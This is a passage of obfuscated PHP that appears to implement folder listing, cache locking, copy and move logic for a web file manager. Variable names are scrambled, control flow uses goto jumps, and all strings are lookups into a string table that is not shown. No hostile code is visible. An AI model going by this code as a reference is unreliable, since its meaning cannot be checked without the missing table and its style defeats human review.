($a헳 as &$D츺) { $Fڄ[$D츺[$C[366]]] = $D츺[$C[28]]; $b͈ = $this->parentLevelArray($D츺[$C[455]]); array_shift($b͈); foreach ($b͈ as $CѮ) { if (!isset($Fڄ[$CѮ])) { $Fڄ[$CѮ] = 0; } } } goto e; e: $DŴ = array(); foreach ($Fڄ as $FȜ => $A٠Ս) { if (!$A٠Ս) { $DŴ[] = $FȜ; } } if ($DŴ) { $Eޯ = array($C[380] => array($C[381], $DŴ)); if (count($DŴ) == 1) { $FӤ = $this->sourceInfo($DŴ[0]); $FӤ = is_array($FӤ) ? array($FӤ) : !1; } else { $FӤ = $this->field($C[461])->where($Eޯ)->select(); } $eǑ = array_to_keyvalue($FӤ, $C[366], $C[28]); $Fڄ = array_merge_index($Fڄ, $eǑ); } goto dƔ; cޙ: } private function _listAppendPathRecycle(&$d񬥥®, $A, $DЌؘ) { goto e; eɕČ: $d䙝Ǘ = explode($Fհ[8], trim($d񬥥®[$Fհ[462]], $Fհ[8])); $Fښ = implode($Fհ[8], array_slice($d䙝Ǘ, 2)); $d񬥥®[$Fհ[462]] = $Fհ[8] . LNG($Fհ[465]) . $Fհ[8] . ltrim($Fښ, $Fհ[8]); goto D; e: $Fհ =& $_SERVER[ڊ]; if (intval($d񬥥®[$Fհ[368]]) !== self::TYPE_SYSTEM) { return; } if (!in_array($DЌؘ, $A) && $d񬥥®[$Fհ[366]] != $DЌؘ) { return; } goto eɕČ; D: $d񬥥®[$Fհ[455]] = $Fհ[466] . implode($Fհ[47], array_slice($A, 1)) . $Fհ[47]; if ($d񬥥®[$Fհ[366]] == $DЌؘ) { $d񬥥®[$Fհ[455]] = $Fհ[466]; $d񬥥®[$Fհ[457]] = $Fհ[464]; $d񬥥®[$Fհ[28]] = LNG($Fհ[465]); } $d񬥥®[$Fհ[467]] = $Fհ[468]; goto E꣰; E꣰: } protected function _listAppendPathRoot(&$Dʅ, $b˴Պ) { $e =& $_SERVER[ڊ]; $F쵲 = $e[33]; if ($Dʅ[$e[368]] == self::TYPE_USER) { if (defined($e[423]) && $Dʅ[$e[452]] == USER_ID) { $F쵲 = LNG($e[469]); if (!$b˴Պ) { $Dʅ[$e[28]] = $F쵲; } } else { $B㗻Ð = Model($e[470])->getInfoSimple($Dʅ[$e[452]]); $F쵲 = LNG($e[471]) . $e[154] . $B㗻Ð[$e[28]] . $e[472]; } } else { if ($Dʅ[$e[368]] == self::TYPE_GROUP) { $B㗻Ð = Model($e[454])->getInfoSimple($Dʅ[$e[452]]); $F쵲 = $B㗻Ð[$e[28]]; } else { if ($Dʅ[$e[368]] == self::TYPE_SYSTEM) { $B㗻Ð = $this->sourceInfo($b˴Պ[0], !0); $F쵲 = $B㗻Ð[$e[28]]; } } } $F쵲 = $F쵲 ? $e[8] . $F쵲 . $e[8] : $e[8]; return $F쵲; } protected function _listAppendUser(&$BδģЧ) { $cꎋ =& $_SERVER[ڊ]; $aٺ = array_to_keyvalue($BδģЧ, $cꎋ[33], $cꎋ[375]); $CȞ = array_to_keyvalue($BδģЧ, $cꎋ[33], $cꎋ[376]); $Bſ = array_merge($aٺ, $CȞ); $c󢩋݋ = Model($cꎋ[473])->userListInfo($Bſ); foreach ($BδģЧ as &$c눇) { $E‡Պ = $c눇[$cꎋ[375]]; $c눇[$cꎋ[375]] = $c󢩋݋[$E‡Պ] ? $c󢩋݋[$E‡Պ] : !1; $E‡Պ = $c눇[$cꎋ[376]]; $c눇[$cꎋ[376]] = $c󢩋݋[$E‡Պ] ? $c󢩋݋[$E‡Պ] : !1; if (isset($c눇[$cꎋ[413]]) && $c눇[$cꎋ[413]][$cꎋ[474]]) { $B = $GLOBALS[$cꎋ[6]][$cꎋ[84]][$cꎋ[475]]; if ($c눇[$cꎋ[413]][$cꎋ[476]] <= time() - $B) { $this->metaSet($c눇[$cꎋ[366]], $cꎋ[474], null); $this->metaSet($c눇[$cꎋ[366]], $cꎋ[476], null); unset($c눇[$cꎋ[413]][$cꎋ[474]]); continue; } $BӍ = $c눇[$cꎋ[413]][$cꎋ[474]]; $c눇[$cꎋ[413]][$cꎋ[477]] = Model($cꎋ[473])->getInfoSimpleOuter($BӍ); } } } public function parentLevelArray($Aܬ) { $Cϒ =& $_SERVER[ڊ]; $Aܬ = explode($Cϒ[47], trim($Aܬ, $Cϒ[47])); return array_remove_value($Aܬ, $Cϒ[464]); } public function listAll($Fˢ) { goto Eʦ; Bʿ: $a됞ȗ = $CС[482]; $D = "\114\x45\106\124\40\x4a\117\x49\x4e\40{$this->tablePrefix}\x69\157\137\x66\151\x6c\145\x20\x66\x69\154\145\40\157\156\40\x73\x6f\x75\162\143\145\x2e\x66\151\x6c\145\111\104\40\75\x20\x66\x69\x6c\145\56\x66\151\154\145\x49\x44"; $fȌ = $this->alias($CС[483])->field($a됞ȗ)->where($dޱ)->join($D)->select(); goto B; aڒ: $FՑ = array(); foreach ($fȌ as $Fǔ => $b鉾ߺ) { goto f氆; DϵѰ: if (!$b鉾ߺ[$CС[367]]) { $f[$CС[415]] = $b鉾ߺ[$CС[415]]; $f[$CС[485]] = $b鉾ߺ[$CС[75]]; } $FՑ[] = $f; goto E; f氆: $E = $this->parentLevelArray($b鉾ߺ[$CС[455]]); array_shift($E); $E͊ = $cؖ; goto fȇ; c䐺: $E͊ = str_replace($CС[463], $CС[8], $E͊); $E͊ = str_replace($CС[463], $CС[8], $E͊); $f = array($CС[384] => str_replace($CС[463], $CС[8], $E͊), $CС[484] => intval($b鉾ߺ[$CС[367]]), $CС[388] => $this->pathInfoFilter($b鉾ߺ, !0)); goto DϵѰ; fȇ: for ($aٌ = 0; $aٌ < count($E); $aٌ++) { $E͊ .= $fȌ[$E[$aٌ]][$CС[28]] . $CС[8]; } $E͊ .= $b鉾ߺ[$CС[28]]; if ($b鉾ߺ[$CС[367]]) { $E͊ .= $CС[8]; } goto c䐺; E: } return $FՑ; goto CׅԱ; B: $this->_listAppendAuth($fȌ); $this->_listAppendUser($fȌ); $this->_listAppendPath($fȌ); goto b፦; Eʦ: $CС =& $_SERVER[ڊ]; $d߆ = $this->sourceInfo($Fˢ); $dޱ = array($CС[478] => array($CС[479], $d߆[$CС[455]] . $Fˢ . $CС[480]), $CС[481] => 0); goto Bʿ; b፦: $fȌ = array_to_keyvalue($fȌ, $CС[366]); $cؖ = "\x2f{$d߆[$CС[28]]}\57"; $cؖ = $cؖ == $CС[463] ? $CС[8] : $cؖ; goto aڒ; CׅԱ: } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($eˆ) { goto dؕlj; dؕlj: $C㧱 =& $_SERVER[ڊ]; if (!$this->allowLock()) { return; } $this->_lockCheck($C㧱[486], $eˆ); goto c稢; c稢: $a⥐ = 1; $this->_lockEvent($eˆ, array($C㧱[487], $C㧱[488]), $a⥐); $this->_lockParent($eˆ, array($C㧱[488]), $a⥐); goto Eђ¿; Eђ¿: $this->_lockEvent($eˆ, array($C㧱[489], $C㧱[490]), $a⥐); $this->_lockCheckEnd($C㧱[486], $eˆ); goto cܳ; cܳ: } public function lockCopyEnd($B) { $B =& $_SERVER[ڊ]; if (!$this->allowLock()) { return; } $c = 0; $this->_lockEvent($B, array($B[487], $B[488]), $c); $this->_lockParent($B, array($B[488]), $c); $this->_lockEvent($B, array($B[489], $B[490]), $c); } public function lockWriteStart($D̶̩, $Bƃ = '') { goto Cυް; Cϫ: $C̵ = 1; $this->_lockKey($f[491] . $D̶̩ . $f[93] . $Bƃ, $C̵); $this->_lockEvent($D̶̩, array($f[486], $f[488]), $C̵); goto d; Cυް: $f =& $_SERVER[ڊ]; if (!$this->allowLock()) { return; } $this->_lockCheck($f[487], $D̶̩); goto Cϫ; d: $this->_lockParent($D̶̩, array($f[486], $f[488]), $C̵); $this->_lockCheckEnd($f[487], $D̶̩); goto a; a: } public function lockWriteEnd($F࡬, $eػƻ = '') { $A߫ =& $_SERVER[ڊ]; if (!$this->allowLock()) { return; } $D焄 = 0; $this->_lockKey($A߫[491] . $F࡬ . $A߫[93] . $eػƻ, $D焄); $this->_lockEvent($F࡬, array($A߫[486], $A߫[488]), $D焄); $this->_lockParent($F࡬, array($A߫[486], $A߫[488]), $D焄); } public function lockMoveStart($c) { goto C; Aǎ: $Dͅ = 1; $this->_lockKey($Eʊ[492] . $c, $Dͅ); $this->_lockEvent($c, array($Eʊ[486], $Eʊ[487]), $Dͅ); goto aàѾ; aàѾ: $this->_lockParent($c, array($Eʊ[486], $Eʊ[488]), $Dͅ); $this->_lockEvent($c, array($Eʊ[493], $Eʊ[489], $Eʊ[490]), $Dͅ); $this->_lockCheckEnd($Eʊ[488], $c); goto Dͯ; C: $Eʊ =& $_SERVER[ڊ]; if (!$this->allowLock()) { return; } $this->_lockCheck($Eʊ[488], $c); goto Aǎ; Dͯ: } public function lockMoveEnd($c) { goto Cޜ; a: $this->_lockEvent($c, array($A⛗[493], $A⛗[489], $A⛗[490]), $e߃); goto A; eϱӹ: $this->_lockKey($A⛗[492] . $c, $e߃); $this->_lockEvent($c, array($A⛗[486], $A⛗[487]), $e߃); $this->_lockParent($c, array($A⛗[486], $A⛗[488]), $e߃); goto a; Cޜ: $A⛗ =& $_SERVER[ڊ]; if (!$this->allowLock()) { return; } $e߃ = 0; goto eϱӹ; A: } private function _lockCheck($Dʤ, $A䌄) { goto Eሾ; B: $eݩ֙ = array_reverse($this->parentLevelArray($d[$d…[455]])); foreach ($eݩ֙ as $A) { $C = $Dʤ . $d…[495] . $A; if (CacheLock::lockGet($d…[496] . $C)) { $d = $this->sourceInfo($A); CacheLock::setErrorMsg($d…[154] . htmlspecialchars($d[$d…[28]]) . $d…[472] . $A); $this->_lockKey($C, 1); $this->_lockKey($C, 0); } } goto E; E: CacheLock::setErrorMsg($d…[154] . htmlspecialchars($d[$d…[28]]) . $d…[472] . $A); $this->_lockKey($C, 1); $this->_lockKey($C, 0); goto B; Eሾ: $d… =& $_SERVER[ڊ]; $d = $this->sourceInfo($A䌄); $C = $Dʤ . $d…[93] . $A䌄; goto eϞ; eϞ: $this->_lockTimeStart[$C] = timeFloat(); if (!is_array($d)) { return; } $A = LNG($d…[494]); goto E; E: } private function _lockCheckEnd($a񉢑, $a) { goto f҆; bҳ: if (!isset($this->_lockTimeStart[$EDz])) { return; } $F󑭪 = timeFloat() - $this->_lockTimeStart[$EDz]; unset($this->_lockTimeStart[$EDz]); goto d϶; f҆: $C =& $_SERVER[ڊ]; $EDz = $a񉢑 . $C[93] . $a; CacheLock::setErrorMsg($C[358]); goto bҳ; d϶: if ($F󑭪 > 0.5) { unset(self::$cacheSourceInfo[$C[406] . $a]); } $d = $this->sourceInfo($a); if (!$d) { show_json(LNG($C[102]), !1); } goto e蔮; e蔮: } private function _lockParent($CƷ, $Aێ, $D򘚒) { if (!$this->autoLockSet) { return; } $dŇ = $this->sourceInfo($CƷ); if (!is_array($dŇ)) { return; } $bރ = array_reverse($this->parentLevelArray($dŇ[$_SERVER[ڊ][455]])); foreach ($bރ as $A׋) { $this->_lockEvent($A׋, $Aێ, $D򘚒); } } private function _lockEvent($dۏ琞, $Fز, $A) { $bΈ =& $_SERVER[ڊ]; if (!$this->autoLockSet) { return; } foreach ($Fز as $c) { $Fں = $c . $bΈ[93] . $dۏ琞; if ($A && CacheLock::lockGet($bΈ[496] . $Fں)) { continue; } $this->_lockKey($Fں, $A); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($f댽, $E擻 = 1) { $Aɬ = $_SERVER[ڊ][496] . md5($f댽); if ($E擻) { if (isset(self::$_lockItemArr[$Aɬ])) { return; } self::$_lockItemArr[$Aɬ] = 1; CacheLock::lock($Aɬ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$Aɬ])) { return; } unset(self::$_lockItemArr[$Aɬ]); CacheLock::unlock($Aɬ); } } public function isParentOf($f, $eף) { goto Fݦ; Fݦ: $aƎ =& $_SERVER[ڊ]; $C = $this->sourceInfo($f); $cÇġל = $this->sourceInfo($eף); goto E׎; E׎: $d굄қ = $C[$aƎ[455]] . $C[$aƎ[366]] . $aƎ[47]; $dބ = $cÇġל[$aƎ[455]] . $cÇġל[$aƎ[366]] . $aƎ[47]; $F̉ = strpos($dބ, $d굄қ) === 0; goto B׬; B׬: return $F̉; goto cЎ͛; cЎ͛: } private $targetIsDelete = 0; public function copy($Fќ, $aԨД, $B = REPEAT_REPLACE, $Aݳ䗸 = '') { goto b胊; e: if ($a픢[$cΪ[367]] == $cΪ[83] && $c͂ == $b) { $this->folderSizeResetChildren($c͂); } Model($cΪ[500])->addAll($D̹[$cΪ[498]], array(), !0); if ($c͂ != $b || $a픢[$cΪ[367]] == $cΪ[83]) { Model($cΪ[501])->eventCopy($b); } goto C; b胊: $cΪ =& $_SERVER[ڊ]; $a픢 = $this->sourceInfo($Fќ); $fː = $this->sourceInfo($aԨД); goto eҦ; cˋќ: $this->targetIsDelete = intval($a픢[$cΪ[393]]); $c͂ = $this->fileNameExistCache($aԨД, $a픢[$cΪ[28]]); $b = $this->_copy($Fќ, $aԨД, $B, $D̹, !0, $Aݳ䗸); goto B; eҦ: if (!$a픢 || !$fː || $fː[$cΪ[367]] != $cΪ[83]) { return !1; } if ($this->isParentOf($Fќ, $aԨД)) { return !1; } $e˂ = $Aݳ䗸 ? $Aݳ䗸 : $a픢[$cΪ[28]]; goto a敲ꑣ; b: $this->updateModifyTime($aԨД); return $b; goto eϛ; C: $this->saveAll($D̹[$cΪ[499]]); Model($cΪ[164])->linkAdd($D̹[$cΪ[497]]); $this->folderSizeReset($aԨД); goto b; B: $this->_childrenListClear(); $this->lockCopyEnd($Fќ); $this->lockWriteEnd($aԨД, $e˂); goto e; a敲ꑣ: $this->lockCopyStart($Fќ); $this->lockWriteStart($aԨД, $e˂); $D̹ = array($cΪ[497] => array(), $cΪ[498] => array(), $cΪ[499] => array()); goto cˋќ; eϛ: } private function _copy($FÖ, $d֡, $Eȋ, &$C, $c㒒𜘊, $cޅꊨ = '') { goto eӈ; eӈ: $F㹖醓 =& $_SERVER[ڊ]; $B = $this->sourceInfoCache($FÖ); $E = $B[$F㹖醓[367]] == $F㹖醓[83]; goto d; Fо: if (!$C) { return $this->_copyCreate($FÖ, $d֡, $c̹™, $C); } $b = $C; if ($E) { if ($Eȋ == REPEAT_RENAME_FOLDER) { $c̹™ = $this->fileNameAutoCache($d֡, $c̹™, $Eȋ, $E); $b = $this->_copyCreate($FÖ, $d֡, $c̹™, $C); } else { $fؑ = $this->_childrenList($FÖ); foreach ($fؑ as $a) { $this->_copy($a[$F㹖醓[366]], $C, $Eȋ, $C, !1); } } } else { if ($Eȋ == REPEAT_RENAME || $Eȋ == REPEAT_RENAME_FOLDER) { $c̹™ = $this->fileNameAutoCache($d֡, $c̹™, $Eȋ, $E); $b = $this->_copyCreate($FÖ, $d֡, $c̹™, $C); } else { if ($Eȋ == REPEAT_REPLACE) { $D = $this->sourceInfoCache($C); $Bەު = $this->fileHistory($D, $B[$F㹖醓[415]], $B[$F㹖醓[77]]); if ($Bەު) { $C[$F㹖醓[497]][] = $B[$F㹖醓[415]]; } } else { if ($Eȋ == REPEAT_SKIP) { } } } Hook::trigger($F㹖醓[502], array($F㹖醓[503], $B, 0)); } goto bϚ; d: $c̹™ = $cޅꊨ ? $cޅꊨ : $B[$F㹖醓[28]]; $C = $this->fileNameExistCache($d֡, $c̹™); if ($c㒒𜘊) { $this->_childrenAllMake($FÖ); if ($E && $C) { $this->_childrenAllMake($C); } } goto Fо; bϚ: return $b; goto c; c: } private function _copyCreate($F맦, $Eϱ, $BȊ, &$E쒅) { goto CЌ; b̏: $f҄[$F맦] = $A; $A = array(); $E = array(); goto cն; bźɋ: $b괇 = $this->_makeItemData($fކ, $b, $BȊ); Hook::trigger($dх[504], $b괇); Hook::trigger($dх[505], array($dх[506], $b괇, 0)); goto e݈; cଘ: $this->chunkEventSet($dх[511], array($dх[512], $b괇, $c)); $this->saveAll($E); return $A; goto e; fѠ: $this->_childrenListAll($F맦, $Dʨ); $c = count($Dʨ); if ($c == 0) { return $A; } goto F; Aʖ: $this->addAll($f쯆, array(), !1); $e֬ = $this->where(array($dх[457] => $A))->select(); $f҄ = $this->_childrenMakeRelation($Dʨ, $e֬); goto b̏; cIJʦŇ: if ($fކ[$dх[367]] != $dх[83]) { $E쒅[$dх[497]][] = $fކ[$dх[415]]; return $A; } $Dʨ = array(); $f쯆 = array(); goto fѠ; CЌ: $dх =& $_SERVER[ڊ]; $fކ = $this->sourceInfoCache($F맦); $b = $this->sourceInfoCache($Eϱ); goto bźɋ; e݈: $A = $this->add($b괇); $Dƃ = array($dх[366] => $A, $dх[28] => $BȊ); $this->_copyApplyMeta($Dƃ, $E쒅); goto cIJʦŇ; cն: foreach ($e֬ as $BDZ) { $F銪· = $BDZ[$dх[366]]; $Ê = $this->_childrenMatch($f҄, $BDZ, $a֎ʬ); $A[] = array($dх[366], $F銪·, $dх[457], $Ê[$dх[457]]); $E[] = array($dх[366], $F銪·, $dх[455], $Ê[$dх[455]]); $this->_copyApplyMeta($BDZ, $E쒅); if ($BDZ[$dх[367]] != $dх[83]) { $E쒅[$dх[497]][] = $BDZ[$dх[415]]; } } $this->chunkEventSet($dх[509], array($dх[510], $b괇, $c)); $this->saveAll($A); goto cଘ; F: $a֎ʬ = $this->sourceInfo($A); foreach ($Dʨ as $BDZ) { $Adz = $this->_makeItemData($BDZ, $a֎ʬ, $BDZ[$dх[28]]); $Adz[$dх[455]] = $BDZ[$dх[455]]; $f쯆[] = $Adz; } $this->chunkEventSet($dх[507], array($dх[508], $b괇, $c)); goto Aʖ; e: } private function _childrenMakeRelation($d驌, $eٌ) { $D댡ĭ =& $_SERVER[ڊ]; $Eԇ߃ = array(); $A炘 = array(); foreach ($d驌 as $aݦ) { $Fڌ = $aݦ[$D댡ĭ[28]] . $D댡ĭ[8] . $aݦ[$D댡ĭ[455]]; $Eԇ߃[$Fڌ] = $aݦ[$D댡ĭ[366]]; } foreach ($eٌ as $aݦ) { $Fڌ = $aݦ[$D댡ĭ[28]] . $D댡ĭ[8] . $aݦ[$D댡ĭ[455]]; $e = $Eԇ߃[$Fڌ]; $A炘[$e] = $aݦ[$D댡ĭ[366]]; } return $A炘; } private function _childrenMatch($e, $f×, $cˉ옹) { goto b; a: $f܈ = $Aխχ[count($Aխχ) - 1]; return array($C[457] => $f܈, $C[455] => $eӨ); goto CԖ; b: $C =& $_SERVER[ڊ]; $eӨ = $cˉ옹[$C[455]]; $E = $this->parentLevelArray($f×[$C[455]]); goto E쥝; E쥝: foreach ($E as $a) { if (isset($e[$a])) { $eӨ .= $e[$a] . $C[513]; } } $eӨ = rtrim($eӨ, $C[47]) . $C[47]; $Aխχ = $this->parentLevelArray($eӨ); goto a; CԖ: } private function _makeItemData($AԳɃ, $Alj, $FΎ) { $bҚ =& $_SERVER[ڊ]; $eϼ = array($bҚ[514] => $AԳɃ[$bҚ[367]], $bҚ[383] => $FΎ, $bҚ[515] => $AԳɃ[$bҚ[369]], $bҚ[416] => $AԳɃ[$bҚ[415]], $bҚ[516] => $AԳɃ[$bҚ[77]], $bҚ[517] => $Alj[$bҚ[368]], $bҚ[518] => $Alj[$bҚ[452]], $bҚ[519] => USER_ID, $bҚ[520] => USER_ID, $bҚ[365] => $Alj[$bҚ[366]], $bҚ[521] => $Alj[$bҚ[455]] . $Alj[$bҚ[366]] . $bҚ[47], $bҚ[392] => 0, $bҚ[522] => $bҚ[33]); return $eϼ; } private function _copyApplyMeta($b, &$Eㅔ) { $CŨ =& $_SERVER[ڊ]; $f딱 = $b[$CŨ[366]]; $BƆ = $b[$CŨ[28]]; if (!isset($b[$CŨ[523]]) || !$b[$CŨ[523]] || $b[$CŨ[523]] == $CŨ[464]) { $Eㅔ[$CŨ[499]][] = array($CŨ[366], $f딱, $CŨ[523], short_id($f딱)); } if (Input::check($BƆ, $CŨ[524])) { $Eㅔ[$CŨ[498]][] = array($CŨ[366] => $f딱, $CŨ[89] => $CŨ[412], $CŨ[356] => str_replace($CŨ[50], $CŨ[33], Pinyin::encode($BƆ))); $Eㅔ[$CŨ[498]][] = array($CŨ[366] => $f딱, $CŨ[89] => $CŨ[411], $CŨ[356] => Pinyin::encode($BƆ, $CŨ[525])); } } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($BЄ) { goto A۸٘Ɍ; Dɐ: $FŃڤ = array_to_keyvalue($FŃڤ, $aã[366]); foreach ($FŃڤ as $Cʆ) { $D䅣 = $Cʆ[$aã[457]]; $BЄ = $Cʆ[$aã[366]]; if (!isset($this->_childrenListCache[$BЄ]) && $Cʆ[$aã[367]] == $aã[83]) { $this->_childrenListCache[$BЄ] = array(); } if (!isset($this->_childrenListCache[$D䅣])) { $this->_childrenListCache[$D䅣] = array(); } $this->_childrenListCache[$D䅣][$BЄ] = $Cʆ; $this->_childrenItemCache[$BЄ] = $Cʆ; } goto B嗺; A۸٘Ɍ: $aã =& $_SERVER[ڊ]; $DΘ = $this->sourceInfo($BЄ); $D򮢓Ӳ = $aã[526]; goto dƏȩ; dƏȩ: $D = array($aã[455] => array($aã[479], $DΘ[$aã[455]] . $BЄ . $aã[480]), $aã[393] => $this->targetIsDelete); $FŃڤ = $this->field($D򮢓Ӳ)->where($D)->select(); if (!$FŃڤ) { return; } goto Dɐ; B嗺: } private function _childrenListAll($Fڌݸ, &$B) { $Bϖ =& $_SERVER[ڊ]; if (!isset($this->_childrenListCache[$Fڌݸ])) { return; } $dѭӤ = $this->_childrenListCache[$Fڌݸ]; foreach ($dѭӤ as $D => $C) { $B[$D] = $C; if ($C[$Bϖ[367]] == $Bϖ[83]) { $this->_childrenListAll($D, $B); } } } private function sourceInfoCache($Dԧ) { if (isset($this->_childrenItemCache[$Dԧ])) { return $this->_childrenItemCache[$Dԧ]; } return $this->sourceInfo($Dԧ); } private function _childrenList($F) { if (isset($this->_childrenListCache[$F])) { return $this->_childrenListCache[$F]; } return $this->_childrenListSelect($F); } private function _childrenListSelect($Fޫ) { goto Dᒟ; Dᒟ: $F =& $_SERVER[ڊ]; $C҄ª = array($F[457] => $Fޫ, $F[393] => $this->targetIsDelete); $a韐 = $this->where($C҄ª)->select(); goto bé; bé: $a韐 = $a韐 ? $a韐 : array(); $E鼂 = array_to_keyvalue($a韐, $F[366]); $this->_childrenListCache[$Fޫ] = $E鼂; goto B񌬨; B񌬨: foreach ($E鼂 as $Fޫ => $eۘ) { $this->_childrenItemCache[$Fޫ] = $eۘ; } return $E鼂; goto C; C: } private function fileNameExistCache($fĢ, $Bł) { $b =& $_SERVER[ڊ]; $Bł = strtolower($Bł); $D֚ۄ = $this->_childrenList($fĢ); foreach ($D֚ۄ as $e) { if ($Bł == strtolower($e[$b[28]])) { return $e[$b[366]]; } } return !1; } private function fileNameAutoCache($eݷ, $CР, $aӵߟ, $E ܄) { $e =& $_SERVER[ڊ]; $c = $this->_childrenList($eݷ); $a = array_to_keyvalue($c, $e[33], $e[28]); return $this->fileNameAutoGet($a, $CР, $aӵߟ, $E ܄); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($A¶, $E, $Dļ = REPEAT_REPLACE, $f¬ = '') { goto b̉; A権: $B⬛ԇ = $this->_move($A¶, $E, $Dļ, $e, $f¬); $this->sourceCacheClear(); if ($A[$A[367]] == $A[83] && $a܅瞴) { $this->folderSizeResetChildren($B⬛ԇ); } goto fӒ; Eю: Model($A[501])->eventMove($A¶, $A[$A[457]], $E); Hook::trigger($A[528], $eħ); return $B⬛ԇ; goto Cަ; b̉: $A =& $_SERVER[ڊ]; $A = $this->sourceInfo($A¶); $AՏ = $this->sourceInfo($E); goto a; B: $this->lockWriteEnd($E, $C샴); $this->folderSizeReset($A[$A[457]]); $this->folderSizeReset($E); goto Eɇ; BՖ: $C샴 = $f¬ ? $f¬ : $A[$A[28]]; $this->lockMoveStart($A¶); $this->lockWriteStart($E, $C샴); goto b͋; b͋: $e = array($A[497] => array(), $A[529] => !1); $this->clearShare($A¶, $E); $a܅瞴 = $this->fileNameExistCache($E, $A[$A[28]]); goto A権; fӒ: Model($A[164])->linkAdd($e[$A[497]]); if ($a܅瞴 && $e[$A[529]]) { $this->removeNow($A¶, !1); } $this->lockMoveEnd($A¶); goto B; Eɇ: $F댉ӌ = array($A[$A[457]], $E); if ($A[$A[367]] == $A[83]) { $F댉ӌ[] = $A¶; } $this->updateModifyTime($F댉ӌ); goto Eю; cύ: Hook::trigger($A[527], $eħ); $this->targetIsDelete = intval($A[$A[393]]); if ($A[$A[457]] == $E && $f¬ != $A[$A[28]]) { $fݏ = $this->fileNameExist($E, $f¬); if ($fݏ && $A[$A[367]] == $A[464]) { goto f℈; E޼: $this->removeNow($A¶, !1); $this->folderSizeReset($E); Hook::trigger($A[528], $eħ); goto cؼ¨; cؼ¨: return $fݏ; goto dѪ; f℈: $d = $this->sourceInfo($fݏ); $Aʔԩ = $this->fileHistory($d, $A[$A[415]], $A[$A[77]]); if (!$Aʔԩ) { Model($A[418])->remove($A[$A[415]]); } goto E޼; dѪ: } } goto BՖ; a: $eħ = $this->pathInfoMore($A¶); if ($this->isParentOf($A¶, $E)) { return !1; } if (!$A || !$AՏ || $AՏ[$A[367]] != $A[83]) { return !1; } goto cύ; Cަ: } private function _move($bӅ, $å, $E, &$cǫ, $fڵȓ۱ = '') { goto F; bԙݯ: $C׎۷ = $fڵȓ۱ ? $fڵȓ۱ : $BӔ[$căƛ[28]]; $A = $this->fileNameExistCache($å, $C׎۷); $this->lockMoveStart($bӅ); goto B͝; B͝: $this->lockWriteStart($å, $C׎۷); if (!$A) { return $this->_moveForce($bӅ, $å, $C׎۷); } $Bٳ = $A; goto bʚ; bʚ: $D޴ = !1; if ($AҌ) { if ($E == REPEAT_RENAME_FOLDER) { $C׎۷ = $this->fileNameAuto($å, $C׎۷, $E, $AҌ); $Bٳ = $this->_moveForce($bӅ, $å, $C׎۷); } else { if ($E == REPEAT_RENAME_FOLDER) { $E = REPEAT_RENAME; } $E஍ = $this->_childrenListSelect($bӅ); foreach ($E஍ as $Dȴɧ) { $this->_move($Dȴɧ[$căƛ[366]], $A, $E, $cǫ); } $D޴ = !0; } } else { if ($E == REPEAT_SKIP) { $D޴ = !0; } else { if ($E == REPEAT_RENAME || $E == REPEAT_RENAME_FOLDER) { $C׎۷ = $this->fileNameAuto($å, $C׎۷, $E, $AҌ); $Bٳ = $this->_moveForce($bӅ, $å, $C׎۷); } else { if ($E == REPEAT_REPLACE) { $Cݐ = $this->sourceInfoCache($A); $f = $this->fileHistory($Cݐ, $BӔ[$căƛ[415]], $BӔ[$căƛ[77]]); if ($f) { $cǫ[$căƛ[497]][] = $BӔ[$căƛ[415]]; } else { $D޴ = !0; } } } } } if ($D޴ && !$cǫ[$căƛ[529]]) { $cǫ[$căƛ[529]] = !0; } goto D; F: $căƛ =& $_SERVER[ڊ]; $BӔ = $this->sourceInfo($bӅ); $AҌ = $BӔ[$căƛ[367]] == $căƛ[83]; goto bԙݯ; D: return $Bٳ; goto D̐ل; D̐ل: } private function _moveForce($CӅ, $D, $DÍ) { goto C; F֜: $d֨ = $Fߡ[$d[367]] == $d[83]; $d餂 = array($d[365] => $Bݵ[$d[366]], $d[521] => $Bݵ[$d[455]] . $Bݵ[$d[366]] . $d[47], $d[517] => $Bݵ[$d[368]], $d[518] => $Bݵ[$d[452]], $d[520] => USER_ID, $d[383] => $DÍ); $Fù = $Fߡ[$d[368]] == SourceModel::TYPE_GROUP && $Bݵ[$d[368]] == SourceModel::TYPE_GROUP && $Fߡ[$d[452]] == $Bݵ[$d[452]]; goto E⿰늳; E⿰늳: if (!$Fù) { Model($d[450])->authClear($CӅ); } $b = $Fߡ[$d[393]] == $d[83] && $Bݵ[$d[393]] != $d[83]; if ($b) { $d餂[$d[392]] = 0; } goto A̅ߑ; C: $d =& $_SERVER[ڊ]; $Fߡ = $this->sourceInfo($CӅ); $Bݵ = $this->sourceInfo($D); goto F֜; A̅ߑ: if ($d֨) { $b = array($d[521] => array($d[479], $Fߡ[$d[455]] . $Fߡ[$d[366]] . $d[480])); $cŸچ = $Fߡ[$d[455]] . $Fߡ[$d[366]] . $d[47]; $e = $Bݵ[$d[455]] . $Bݵ[$d[366]] . $d[47] . $Fߡ[$d[366]] . $d[47]; $bō = array($d[521] => array($d[530], "\x72\145\160\x6c\x61\x63\145\x28\x70\141\x72\x65\x6e\x74\114\x65\x76\x65\154\54\47{$cŸچ}\x27\54\47{$e}\47\51"), $d[517] => $Bݵ[$d[368]], $d[518] => $Bݵ[$d[452]]); if ($b) { $bō[$d[392]] = 0; } $this->where($b)->data($bō)->save(); } $this->where(array($d[380] => $CӅ))->data($d餂)->save(); return $CӅ; goto f➏; f➏: } private function clearShare($Aьٴ, $cÂ) { goto Cէ; bǯ: if (!$F) { return; } $cӇ = array($C[366] => array($C[7], $F), $C[444] => 1); $fë䂘 = Model($C[532])->field($C[437])->where($cӇ)->select(); goto d; Cէ: $C =& $_SERVER[ڊ]; $f = $this->sourceInfo($Aьٴ); $d = $this->sourceInfo($cÂ); goto fώ; d: if (!$fë䂘) { return; } $fë䂘 = array_to_keyvalue($fë䂘, $C[33], $C[437]); $cӇ = array($C[437] => array($C[7], $fë䂘)); goto A; fώ: if ($f[$C[452]] == $d[$C[452]] && $f[$C[368]] == $C[531]) { return; } $cӇ = array($C[455] => array($C[479], $f[$C[455]] . $Aьٴ . $C[480])); $F = $this->field($C[380])->where($cӇ)->getField($C[366], !0); goto bǯ; A: Model($C[532])->where($cӇ)->save(array($C[444] => 